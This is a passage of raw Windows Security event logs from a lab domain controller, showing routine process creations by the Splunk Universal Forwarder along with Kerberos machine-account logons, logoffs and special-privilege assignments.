and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:25:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257339 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:25:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257343 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4E8FA6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:25:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257342 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4E8FA6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50840 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:25:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257341 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4E8FA6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:26:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257344 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:26:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257346 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:26:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257345 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:26:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257347 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:26:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257348 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1238 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:26:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257350 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x58c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:26:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257349 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x85c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:26:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257353 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EC4EA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:26:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257352 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4EC4EA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50853 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:26:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257351 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EC4EA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:27:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257359 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EC880 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:27:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257358 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4EC880 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50857 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:27:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257357 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EC880 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:27:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257356 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EC814 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:27:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257355 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4EC814 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50856 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:27:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257354 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EC814 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:27:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257360 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x117c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257361 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:27:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257362 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x99c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257363 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator 